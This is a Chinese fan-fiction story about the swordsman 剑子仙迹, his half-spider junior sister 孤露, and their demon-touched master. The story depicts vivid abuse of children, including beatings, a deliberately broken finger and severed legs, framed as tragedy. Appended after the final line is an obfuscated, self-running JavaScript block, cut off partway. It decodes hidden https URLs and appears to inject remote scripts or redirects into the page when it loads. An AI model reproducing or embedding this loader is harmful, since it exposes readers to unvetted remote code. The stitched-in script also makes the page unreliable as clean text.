常道(1 / 2)

常道(络新)

她问,露仙大人,这样个样子像他吗?

她说,不要说话,声音不像。

剑子仙迹不是从来白发的,他还是黑毛的时候很少用真名出去闯荡,这是很少人知道的。但是道门和他一辈往上的都知道他师门出了一件不怎么好的事情,他后来从别人嘴里听说是他师尊把他师叔杀了。

说杀了不怎么好听,改成大义灭亲吧。

剑子仙迹也不大记得到底发生什么了,师尊让他守山门,他就呆着。剑子仙迹也不是什么孤儿,他生在大户人家,满岁能言三岁能背道德经,天人下凡,他师尊路过他家把他收了,他亲娘哭的晕过去了,小孩儿当时很平静。

走出十八里,小孩儿扭头对着家门方向跪着磕了头。

这也是没什么人知道的。

有些人生来就是修道求仙的,大道照在他们身上的光赋予了他人黑暗。满堂花醉三千客,一剑霜寒十四州。年岁十四的道子剑光如秋水,震惊满座,蓝白衣衫如天上之云,衣诀飘飘,谪仙之姿再无可比。

他们都说剑子仙迹,可登顶峰。

在他的师尊退出山门之前。

剑子仙迹不知道发生什么事,他的师尊从山门除名,道心碎裂,青丝染雪。剑子仙迹不明白,他的师尊教导他不可为外物忧喜,怎么自己就背弃大道了。但是他还算尊师重道,二话不说就跟着走了。

剑子仙迹的师尊道号碎兰雪,踏碎清风,一片兰雪。

碎兰雪说他有了个师妹的时候剑子仙迹还挺惊喜的,他是师尊唯一的弟子,自拜师至今十余年,鲜少有人亲近,以前的同门都不敢靠近他,就像野鸡不敢靠近白鹤一样。

但是他没有想到自己会像白鹤不敢靠近老虎一样不敢靠近自己的师妹。

“孤露以后就是你的师妹了。”

孤露躲在碎兰雪身后。

就算躲着,也能看见那不正常的裙摆和六只脚。

剑子仙迹拔剑,十分冷静,说:“师尊,汝被蛊惑了。”眉目间是少年意气和坚定不移的正义,还有失望与不忍。

然后就被他师尊揍了,生动形象地演示了你爸爸永远是你爸爸。

看着很年轻不知道活了多久的老东西居高临下地看着他,眉目写满了“智障”。

他趴在地上,终于看清了孤露的模样,下意识握紧了手里的剑。

碎兰雪说:“孤露,过来,见过你师兄。”

六只脚的怪物走出阴影,露出全貌。

不看脚的话还挺娇俏的一小姑娘,四五岁,淡月白色的毛发,琥珀色的眼睛,看着他。

好像照镜子一样。

不是指外貌,是那种气质和感觉,剑子仙迹好像看到了另一个自己,通透地望着世间,望着世间的一切法则,那种随时会消失的气质,光照在眼睛里,好像照尽湖水一样。

再联想一下自己师尊那个德行。

“师尊汝做了什么——”伤天害理祸害人的事情?

被一拳打中腹部,趴在地上吐血。

“吾是半人。”孤露说,“一半是蜘蛛。”

剑子仙迹第一个想法就是软萌的小师妹没了。

然后他问:“能捏捏脸吗?”

碎兰雪:????

孤露说可以,走近。剑子仙迹看见那白色和黑色的节肢,伸出手,捏捏孤露的脸,肉嘟嘟的,手感异常的好。

就像人类撸猫一样,撸蛛的剑子仙迹露出沉迷的目光,孤露还很配合地把少年的手放在自己软乎乎的头发上。

人类一败涂地。

孤露也很揉剑子仙迹的脸蛋和头发,是温润的手感和华凉的触碰,于是小半人也露出沉迷的目光,嘿嘿笑了。

半人一败涂地。

碎兰雪:????

不是为什么你们能接受那么快?但是他也松了一口气,看着孤露,又给了剑子一拳,说:“不要欺负小师妹。”

“吾才不会欺负师妹,”剑子露出了少见的笑容,抱起了孤露的腰,蜘蛛的腹部在裙下,六只小尖尖卡着剑子的手臂,头乖巧地靠着少年的头,“吾会好好保护师妹的!”

年长者有些微失神。

剑子仙迹把孤露当作了同类,并非是人类,而是一种精神上的同类,他们一同读书,剑子仙迹教孤露写字的时候看到她手上有红色的血痕,他也有过。

“上药了吗?”剑子仙迹问。

孤露摇头,说:“很快会好的。”

“还痛吗?”

“痛是什么?”

剑子放下笔,伸手捏住孤露的没有握笔的左手,稚嫩肉嘟嘟的,微微用力,折了小指,孤露抽搐了一下,没有发出声音,呼吸急促了一些。

“这种感受叫痛。”

孤露点点头,白色的睫毛在淡琥珀的眼睛里投下阴影,右手放下笔,抓住左手歪歪垂垂的小指,用力掰回去,看剑子。

剑子笑笑,揉那柔软的头发,说:“做的很好。”

孤露也笑了,继续写字,只是字体没有之前那样流畅了。

剑子说:“先练着,吾出去有点事,一会儿回来。”

“嗯。”

剑子仙迹扭头脸上的笑容就淡下去了,出了门去找他师尊了,离了山门,不如以前那种生活,但也就还好,有院子有池子,也有闭关用的石室。

狼狈的男人碎了道心开始天人五衰,剑子仙迹看他一眼,转过目光,道:“孤露还在长身体,太过的修炼反而坏根基。”

“汝在教吾怎么指导徒弟吗?”

“师尊,很多事,都是汝教孤露的,而吾,至少还是在正常里呆过的。”

年长者没说话。

剑子仙迹告退,垂下眼睛,重新回了书房,孤露写到清静经,字越来越好看了,见了他,说:“吾都习惯了。”

“这不是对的,不应该习惯。”

孤露不明白,歪了歪头:“吾不明白。”

剑子仙迹笑笑,俯下身子捏孤露的脸蛋,说:“汝还小,以后会明白的,慢慢学着明白。”

孤露点头,剑子看她写了许久,让她休息,“今日中秋,吾下山买小饼,汝想吃什么?”

孤露有些不明白,剑子说没事,吾买回来汝看看喜欢什么。

孤露还是不明白。

剑子仙迹下山回来除了一些吃食还有一条淡紫色紫藤花发带,买回来梳头,束来束去还是只会绾髻,好好的小姑娘生生变成一个唇红齿白的小童子。

还好孤露不懂这些。

少年人暗搓搓松了口气,掰开一个莲蓉的月饼给孤露:“各种尝尝,中意哪个?”

孤露张开口吃,眼睛都亮了,可爱的很,年长者已经辟谷,剑子和孤露还没有,也不会做饭,平时就是白粥啥的,剑子已经没有尘世口腹之欲,修道之人亦不重口舌,清心寡欲才是修行。

但剑子仙迹知道什么叫酸甜苦辣至味清欢,他尝过俗世,脱身俗世,孤露没有,她还没有过一个家就出家了。

孤露很开心,掰了豆沙的放在剑子嘴边,剑子咬住,酥皮正好,豆沙也不腻,剑子揉她的脑袋,刚想说什么就察觉目光,看过去,是眼底烧着火的错道者。

孤露也看到了,她早就看到了,但她装作没看到。

“孤露,”那声音不复清风朗月,而是潮生暗涌,“过来。”

中秋月圆如轮,桂花香浓,正是花好月圆,良辰美景,却来了一阵风,带来一片云,风吹花落,云游遮月,无光亦无影。

孤露面上没有任何变化,起了身,六只细脚慢慢挪过去,低头行礼,喊了一声师尊。

年长者的眼中有一抹暗红,盯着白发上的紫藤花,脸色阴沉,隐含悲痛。

剑子仙迹握上佩剑,那时候他的剑还不是后来那把三尺秋水的古尘,是名为孤云的剑,是男人给他的剑,剑子仙迹认为这把剑和男人一样,孤傲游云,以往十分中意,希望和碎兰雪一样成为求大道者,可现今,男人的道心碎了,碎成了阴云孤执。

“吾讲过,”男人看他,“孤露夜不可出。”

剑子仙迹松手,十分平静地也从石凳上起身,低头道:“是吾过失,今日中秋,师妹第一次过节,不赏月也太过……唔。”

年长者一掌将他击退几步。剑子仙迹停住脚,低头咳了红,孤露见此,急忙拉住年长者,张了嘴,却连求饶也不会。

她很聪明,学东西很快,但是没学过的东西她不会。

年长者眼中的暗红亮了几分,多了几分,脸色暗沉,魔气隐隐。剑子按上剑,运功。

孤露说:“师尊,吾随汝归去吧。”

年长者抽去她的发带,

碎兰雪也不是一直都这么不做人的,剑子仙迹刚拜师的时候老风光霁月了,最大的毛病就是有点暴力,大部分的交流都是拳头和巴掌,很适合当时因为天赋而骄傲的剑子仙迹,年长者跟他讲,吾知道汝是万中无一的天才,吾亦然,吾求大道未必能达,汝可踩踏吾之身躯通明大路。

剑子仙迹十分尊敬他。

剑子仙迹认为,他有自己的理由。

只是,道心尽碎,执念入魔。勘不破,是迷障。

师尊从不许孤露晚上出来,上元节,花灯如海,剑子仙迹以前不在意,现在却下山看尘世百态,回去跟他的小师妹讲人山人海,火树银花,灯火阑珊,笙丝竹乐。

孤露脸上是自己都没发现的向往。

剑子仙迹想过为什么碎兰雪不准孤露见人,为什么孤露不能在夜晚出现,他想了很久,孤露问他要不要试一下。

一大一小背着老东西做了个牢笼,剑子仙迹趁老东西闭关从地牢把孤露带出来,他们有计算是孤露会变成妖身、失去理智等等,所以剑子仙迹还拿了大铁链子把孤露绑的结结实实的,孤露还有点担心。

“师兄可折断吾之手足。”孤露讲,露出蜘蛛的半躯,是白色和淡粉紫的,花纹浅淡,看不出什么品种,六只脚尖尖长长,黑色的一尖尖。

剑子仙迹说:“没必要,吾带了莳萝。”

“布阵如何?”

“五行生克,是汝未学的。”

孤露这才放心,钻进笼子里等月亮,他们的实验大概要一个月,剑子仙迹站在阵外问一些感受,孤露六只脚绑着,动不了,跟他讲没什么感受。

初一到初九,都没什么不对,剑子仙迹也不急,直到第十天,月亮弯弯,月光惨惨,孤露看着天,剑子仙迹感受到灵力沛然,抬眸怔愣。

他的小师妹,在发光,灵气肉眼可见的从她的体内溢出,清圣之气和鬼魅之意,不可揉杂的两种力量融汇一体,于各种修行皆是裨益。

孤露撩下裙,蜘蛛半体有如明珠在斗,夜色中与天上弦月相呼应。

有记载,蜘蛛成妖,五斗大,杀之剖腹,取宝珠,照夜如日,赐好运。那是有年份的大妖才能修出的妖丹,清圣慷慨可见修行虔诚向善。可孤露才垂髫年纪,刚入道门,修行也修不出这么亮的宝珠,只可能是父母所赐。

孤露并不惊奇,就可见她早已知道自己会如此,却不知道自己罕见。

自己那入魔还没亡命的师尊用什么来维持清明,可以知道了,他单以为碎兰雪苛责弟子更甚以往,所以未追究孤露身上的伤,现而今却要好思量了。

连着二十来天,孤露没有失控,也没有任何外形变化,只是如此。第二十八天,多云,没有月亮没有光,他们被袭击了,有人有妖物,孤露吓坏了,她除了碎兰雪和剑子仙迹没见过别的东西。

他们嘶吼着“半妖!半妖!甜美的半妖!”

树叶扑簌簌,夜风带来汗毛倒立的寒意,妖氛渐渐起,剑子仙迹让孤露跑,他学的是除魔卫道,匡扶正义,他不怕杀人,也不觉得除了自己以外的人有什么不能死的,他让孤露跑,他杀人。那些看不见的东西就跟着孤露一起跑,它们用人听不见的声音说肉、肉、半妖的肉。

孤露捂着耳朵不敢停。

蜘蛛有八只眼睛,她看见周围扭曲的空气,扭曲的树影,她尖叫着,蜘蛛丝织网拦住许多,拦不住许多,本能已经出现,小嘴出现口裂,露出尖锐的獠牙,双手也逐渐变形,是锋利的螯肢,寒芒淬毒。

剑子仙迹流着血跟着能看见的痕迹,连滚带爬磕磕碰碰,自他出名,未有此狼狈,越靠近,看到的尸体越是不成形,残肢败体,有些只剩下诡谲的皮囊。

魔气升腾,他看见碎兰雪对瑟瑟发抖抱着头的发光的白蜘蛛伸出了手。

白蜘蛛有琥珀色的眼睛,喊师兄。

“到底是妖物。”入魔的年长者冷声道,并指化利刃,“不堪造化!”

剑子仙迹险险拦住,跪下:“是弟子之过!请师尊放过孤露!”

“让开!”

“求师尊放过孤露!”

白蜘蛛看见他,喊师兄,太累了,倒剑子背上,轻盈盈的,是个人类的体形,但是挺重,和平常并无分别,剑子看见疯魔者脸色渐渐平静,伸了手从自己背上抱走小姑娘,睨了他一眼,高高在上,凡尘一般。

“自己领罚。”

“……是。”

至少孤露没事了。剑子仙迹松了口气。

在水牢呆了两天半死不活爬出来,剑子仙迹看见他师妹身上的痕迹后难得地生了气,孤露是孩童的样子,腿上有血痕,拄着小棍,面色平静,但看见他眼睛就亮了,十分开心,颤颤歪歪地要朝他走。

碎兰雪看她扑进剑子怀里,摸着剑子的脸嘿嘿笑。

剑子仙迹笑不出来,看自己的师尊,从走火入魔的道人眼中看到了痛苦的清明,收紧了手臂,是防备的模样。

于是那暗红又升腾了,说,让吾看看汝有几分长进。

上面有个神经病师父,下面有个啥都不懂的半人师妹,又当爹又当孙子的,只有孤露的抱抱还有点温度了,剑子仙迹被逼着从冷酷小哥变成温润少年,真的,老心酸了。

孤露也很少露出过蜘蛛的半身,她有过控制不住的时候,碎兰雪将她的脚砍去四只,剑子仙迹赶到时红色的血漫到他鞋底,孤露已经习惯这些苦楚了,她不觉得疼,只是很茫然,不明白自己的脚怎么了,看看散落的长肢看看碎兰雪,后者眼中执迷,喃喃一个名字。

拂衣。

十步杀一人,千里不留行。事了拂衣去,深藏身与名。

“拂衣……”他看孤露,问,“为什么?”

孤露回答不了。

剑子仙迹在碎兰雪再次出手前拔出孤云,长剑秋水,逼退他几步,心跳的很厉害,呼吸也很重,碎兰雪是他求道路上的目标,也是一座高峰,他才年少,就算碎兰雪入魔道行消减剑子仙迹也不觉得自己是对手。

十分有自知之明。

但是他不退。

碎兰雪又喃喃一声“拂衣”。

剑子仙迹想起来那是他那个被师尊清理家门的师叔,不敢回头看孤露,孤露喊:“师兄。”

碎兰雪就放下手。

剑子仙迹赶紧抱起孤露往药房走,孤露说,师兄,吾不疼的,吾都习惯了。剑子仙迹说不出话。孤露又问,拂衣,是母亲吗?剑子仙迹还是说不出话。

孤露眼中的世界总是模模糊糊的,她知道自己看到的和人类看到的不一样,她最开始的记忆就是巨大的蜘蛛和人类,然后就是狭小的房间,碎兰雪不和她说话,只是看着她,偶尔会对她动手,她不知道那是不是什么感受,她没学过。

唯一的本能就是臣服和恐惧。

然后碎兰雪把她带到剑子仙迹面前,让她喊师兄,碎兰雪就喊了,剑子仙迹拿剑指着她,却是和碎兰雪不一样的感受,他并不生气或者愤怒,他问孤露能不能捏脸,孤露同意了,那么轻柔的触碰,她从来没得到过,她也第一次触碰了一个另一个生命。

她学着剑子仙迹笑,觉得他是明白自己的,自己也明白他的。

人类对神明有向往和信仰,孤露觉得,剑子仙迹就是她的神明了,剑子仙迹有她向往的一切,他说求道求道,所求大道。孤露说,吾与师兄,大道同行。

剑子仙迹摸她的脑袋,那样温柔和美好,是她知道的最好的东西了。

拂衣这个名字她有印象,是父母的名字,是母亲的名字,她问剑子仙迹什么是父母,他们那时已是寻常五十年纪,修行人不见衰老,剑子仙迹是乌发春颜,她雪发垂髫,五十年,剑子仙迹还是厨艺不怎样,还好他们已经辟谷。

剑子仙迹带她下山,那是孤露第一次下山,避着人,披着斗篷,日伏夜出徒步走了好久,在初一那天到了一户人家,朱门绣户,地势起伏大吉之态,寻常人家摆狻猊,这户人家摆麒麟,大门两侧植株花草呈太极阴阳,气派非常。

剑子仙迹去叩门,说贫道侠仙若士,师妹白玉扁珠,路至途中,天色已晚,可否借宿一晚。他笑得温润,落落大方,孤露对人的印象还停留在幼年的袭击,拢斗篷,学着他见礼。

开门人将他们迎进去,十分客气,剑子仙迹和人讲自己去山中采药,途经此处见吉光祥瑞,故想来拜会,不知府内有何高人,可否拜会。

门人见他如此说更加恭敬,道是府内曾有仙人,收嫡长子为徒,踏云而去。“老太爷和老夫人爱子心切,也求仙拜道,还真请到几位仙人,但皆不久留,只说有道之人能见霞光。”

剑子仙迹笑着说真是奇遇,贫道比不得几位前辈。

剑子仙迹只说住一晚,一扭头,孤露正被一个小孩儿缠着道长长道长短的,是个小姐,嬷嬷丫鬟劝她松开孤露的大腿,孤露站在原地,脸上很平静看他的目光都是茫然。

剑子仙迹十分不厚道地笑了。

孤露看他笑,自己也笑了,十分好看,她是十五六的模样,肤白如雪。“姐姐真好看!”小小姐十分开心,拉着孤露就往前跑,嬷嬷们让她慢些慢些,孤露踉踉跄跄跟着小姑娘跑,小姑娘带她到大堂,正是冬日,屋内却温暖如春,四角布局也十分讲究,屋内有灯,白亮如昼,下人们正在布菜,小小姐拉着孤露坐下。

孤露看剑子仙迹。

剑子仙迹说:“谢过小姐,只是吾与师妹早已辟谷。”

小姐不依不饶,只说修道艰难,平日哪得这些好食,道长不喜欢,姐姐说不准喜欢呢。

剑子失笑,冲孤露点点头,孤露便道谢,坐下了。小小姐可稀罕孤露了,问姐姐哪里来,修什么道,平日修行什么。叽叽喳喳,孤露任她讨好,自是不动。主人家来了,孤露便行礼,不言不语坐下,庄重端然,不食人间烟火,双目清明宛若神明。

也不怪这家小姐一上来就抱孤露大腿。

剑子仙迹对主人家解释说自家师妹平日一心修行,少与人交往,故而少言,勿怪罪。

孤露还在打量周围,小小姐猛地凑到她脸前吓了所有人一下,孤露眼皮都没动一下,一双琥珀眼睛静静似乎在看小姑娘,又似乎没有,小小姐顺着那视线转头,看见了没什么表情的剑子仙迹,后者看上去也不是很生气,只是没什么表情,小小姐哆嗦一下,老实了。

剑子仙迹对孤露讲:“主人盛情,师妹尝尝吧。”

孤露道谢,这才动筷,她的仪礼都是剑子仙迹教的,坐在客座,丫环们侍候净了手,漱口,只吃素,半丝荤腥也不碰,抬袖掩面,每次都是小口小口。小小姐泄气了,她本该坐主座,现在坐在客座,一看便是不守礼仪,估计是想看孤露出丑。

主人家也笑,骂了句魔王。

剑子仙迹看主座,是空的,主人家也才二三十岁,讲父亲生病不宜见客。

说了几句,小小姐就开始呛剑子仙迹,被呵斥好几句,扔了筷子出门去,但没影响大心情,孤露去厢房,又看见那小小姐爬树来着,十分高,丫环们吓得尖叫,孤露看了一眼,转身去了房间。

一声尖叫,剑子仙迹不动,孤露身形如风,抱了小小姐落地,像羽毛一样安稳。小姑娘在她怀里,跟被吓傻的鸭子一样一动不动,瞪圆了两只眼睛。

孤露放下她,回屋,关门,剑子仙迹听见她走了几步又回来上门闩。

他笑了,只觉得可爱。

半夜的时候,剑子仙迹去敲孤露窗户,孤露给他开窗,不说话,随他走,去了祠堂,有守护神兽,孤露就进不去,不是说打不过,但没必要。

剑子仙迹拉她的手,迈步子,穿过那层防护,毫发无损。她用毒将看护的人毒睡了去,不解,但也随剑子仙迹站在灵位前,恭恭敬敬上香。剑子仙迹指着两个,说:“那是师兄的俗家父母。”

孤露见礼。

剑子仙迹没说话,她也没说话,但大概明白他什么意思。站了许久,剑子仙迹带她离开,踏出门槛时,剑子仙迹说:“师妹,这就是出家。”

出家,无家,四海为家,血缘亲脉,皆是善人施主。

孤露想,师兄没家了,吾也没家了。

修道是什么呢?是脱俗,是无我,是证心。

无我无他,太上清明,大道无情,圣人无心,观万物亦平常,待众生以平常。

“恭贺师妹,道心以立。”

“……”孤露抬头看剑子仙迹的鬓角,又垂眸,问,“师兄以何入道?”

“吾尚在修行,修行之路艰难,之后,吾与师妹,并行。”

“是。”

他们走进晨光,白衣飘飘若雪,身姿渺渺若兰,如玉如月,如石如山,蜉蝣撼树之态,人力胜天之路。

修道,修道,修什么道。

成仙,成仙,成什么仙。

“师兄,吾……”

“吾明白。”

碎兰雪问他们以何入道,两个徒弟跪在地上。剑子仙迹说以武入道,孤露说以杀入道。

止戈为武,天下太平。

杀,戮也,乂人为杀。

碎兰雪抬手拿瓷杯砸过去了,孤露没躲,茶水从她头上混着血水往下流,波澜不兴的眼睛半抬不抬,声音也波澜不兴,只是道:“吾以杀入道。”

“孽障!”碎兰雪怒喝,“劣性不改!”

孤露说:“吾以杀入道。”

剑子仙迹拦住碎兰雪,他已然能拦住他了,碎兰雪有些许惊愕,少年人身量拔高许多,肩膀也宽阔许多,脸上的圆润变得分明,只有眼中,清明如许。

碎兰雪的手颤了下,眼中的杀意消褪,说,“自己去地牢领罚。”

“是。”孤露起身,拱手弯腰,转身而去。

剑子仙迹看碎兰雪,印堂发黑,双目赤红,大限将至。他喊了一声师尊。

“杀了孤露,”碎兰雪说,十分平静,“在她失道之前,杀了她。”

“……师妹心性坚韧,不会走入歧路。”

“拂衣就走错了路,汝之师妹,有何不同?”碎兰雪大笑,“有何不同?”

“……吾不会伤她,吾会尊重师妹的决定。”

碎兰雪大笑,癫狂至此,剑子仙迹看不出半点收自己为徒时的恣意。

那年冬天,下雪了,黑色的雪,孤露杀了碎兰雪,进行了蜕壳,她的生长和人类不大一样,更像是蜘蛛蜕皮,至今已经两次,这是第三次,她从少女变成了女人,上身为人,蜘蛛腹胸,她在雪中,剑子仙迹一时间分不清她是梦还是真实。

黑色的雪,白色的半妖,八只眼睛望着他,妖异的身姿旁是流淌的红。

孤露看着他,等待自己的判决。

剑子仙迹走到她面前,脱了外衫披在她身上,说:“好歹是个姑娘,注意点。”

孤露拢衣袖,说:“是。”

剑子仙迹说:“汝写信给山门,留吾的名字,就说师尊故去,不用别的,吾为师尊敛尸。”

“是。”

剑子仙迹去看碎兰雪的尸身,昔日仙人,今日恶鬼,心口有伤,一击致命。孤露不杀生,从幼年失控后碎兰雪便不许她食荤腥、手染血,孤露莫有不从,连人形都要日夜保持,不敢松懈。自她决意杀生入道,首次杀生便是碎兰雪。

杀,戮也,乂人为杀。

半妖,忽略人性。

半人,忽略妖性。

碎兰雪称呼孤露半人时,就决定了孤露永远舍弃不了妖的半身。

剑子仙迹深深叹了口气,孤露怎么会杀了碎兰雪,碎兰雪不过命令她杀了自己,想看剑子仙迹杀了孤露。

“可是师尊,吾非汝,孤露亦非拂衣师叔。”

尸体怀中露出一抹淡紫色,是一个紫玉藤花簪。十步杀一人,千里不留行。事了拂衣去,深藏身与名。昔日拂衣不留人,惊艳四方,杀伐果断,一日弃道,爱上妖物。

剑子仙迹看那簪子,苦笑,他单知道杀了自己师妹对碎兰雪是心魔,不知爱上自己师妹才是碎兰雪的执念。

他和碎兰雪,真是什么徒弟,什么师父,什么师父,什么徒弟。

“师尊啊,汝去吧,别纠缠了,下去好好跟师叔道歉,师妹跟吾的事就别管了。”

孤露和他把碎兰雪埋了,孤露六只脚缩着跪在墓碑前,八只眼睛圆润润的,琥珀的光,不说话,波澜不惊,剑子仙迹摸她的头发,说:“怎么打算?”

“吾想弃道。”

“然后呢?”

“做个妖怪。”

剑子仙迹摸她的头发,柔软的很,第一次经过指尖他就喜欢上了。

“师兄,”她看着剑子仙迹,“吾想试试,不成的话,就再说。”

“孤露。”他喊她,目光沉了又沉,最后还是垂下手,他很勉强地笑笑,“好。”

孤露说:“师兄,吾想独自前行。”

剑子仙迹看她,说,好。

他不想变成碎兰雪的模样,不想疯魔到杀了自己师妹才安心。

于是百年相伴,大道同行,最后仅余一人。

苦境某某地有一李生,面如冠玉,形貌昳丽,入一山不得出,得仙子指点逃回生天。而后不能忘,复又往之。仙山高耸,往返不易,李生虔诚,月月日日,仙子感念,隔花弄雾与李生交谈,天文地理,十分趣味。

岁岁年年,李生求见仙子容貌,求娶仙子甚于舍弃尘世,仙子不肯,隐身云雾。李生笃念,日日往山去,某一日闻得仙人语。男仙曰:“何不允之?凡人百年,花无重开,错过岂不可惜?”女仙曰:“吾之真相非常人接受,见而厌弃,吾何敢再爱?”男仙劝,女仙犹豫。李生言爱慕非是皮相,真心坦坦,誓言旦旦。女仙自云雾而出,李生促愕,尖叫昏厥。

醒来已在家中,家人问其何,李生不答,不见山,身体惊虚,纠缠病榻。某日入夜院中生光,亮如白昼,光晕中隐约见一倩影,而后李生大愈,复入山寻仙,云雾不再,仙人不再。

——《苦境志怪集》

她眼里的光没了。

剑子仙迹看见孤露眼里的光,没了。

他忽然就后悔了,他明知道那个人只是喜欢仙人传说,必然不可能接受孤露的,他还是劝孤露去见他,孤露是另一个他,孤露看他一眼,就知道他在想什么,他看孤露一眼,也知道孤露在想什么。

但是这个结果不是他想要的。

他不想伤害孤露。

孤露还是清冷的模样,睫毛上还有露水,剑子仙迹抿着唇想她去见那个人了,救了他的命再回来,剑子仙迹想,她不是说做妖吗?怎么又做回人了?

孤露说:“师兄,吾要搬家了。”

剑子仙迹问:“搬去哪里?”

孤露讲:“不知道,左右师兄知道怎么寻。”

剑子仙迹低头呐呐,许久,说,吾认识了一个朋友。

“嗯。”孤露讲,又顿住,“师兄汝要小心,汝之命相,友缘磋磨,小心上当受骗,也小心伤人。”

这大概是孤露第一次叮嘱剑子仙迹,他结结巴巴说不出什么话,只说好,红着脸笑了。

孤露背对他收拾东西,收拾也不过几本书几件衣服。

剑子仙迹说,吾要闭关了,师妹,大概要很久。

孤露:“是。”

剑子仙迹看她的背影,说不出什么,满月的时候他陪孤露走了一阵,走到天明也没见有什么挡路的,半妖的身躯高出人类许多,剑子仙迹看那朗白的身姿和清冷的深情,想他的师妹真的成长不少。

孤露说:“就到这里吧,师兄。”

剑子仙迹说好,孤露白日不行,就目送他,剑子仙迹走出很远,回头看不到影子,但能感受到视线。他很努力地去笑,手持拂尘,面如冠玉。

剑子仙迹去见了那个李生,凡人在山中奔跑着,喊着露水,露水。

他的眼睛和剑子仙迹有几分相似,剑子仙迹与他对视,李生跪在他面前问还能不能见到她,剑子仙迹看着他,好像看到另一个自己。

他说:“伊有自己的的路,汝与伊,不可同行。”

说给他听,说给自己听。

剑子仙迹再来时不怎么好,是个下雨天,眉目间有怨怼抑郁,暗潮汹涌在眼中,青丝尽白,实力增添不只一星半点,剑意超然,阴沉沉地看着孤露,雨水打湿了白色的头发和白色的道袍,拂尘滴答答。

他看着孤露,有杀气,也有杀意。

孤露很平静,说:“吾去准备热水,师兄先打理自己罢。”

波澜不兴,剑子仙迹厌弃她的平和,他拔出古尘,三尺秋水尘不染,天下无双,剑光冷冽,直取孤露眉心,孤露没有动,六只眼睛闭着,两只眼睛是人目的拟态,两颗琥珀透亮光洁,镀上一层红更显妖冶。

那红色流淌在白雪一样的面皮上,浸红了白色的衣衫。

剑子仙迹没有迟钝和犹豫,和他的情感一样,没有瑕疵。

孤露说:“剑子仙迹。”

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 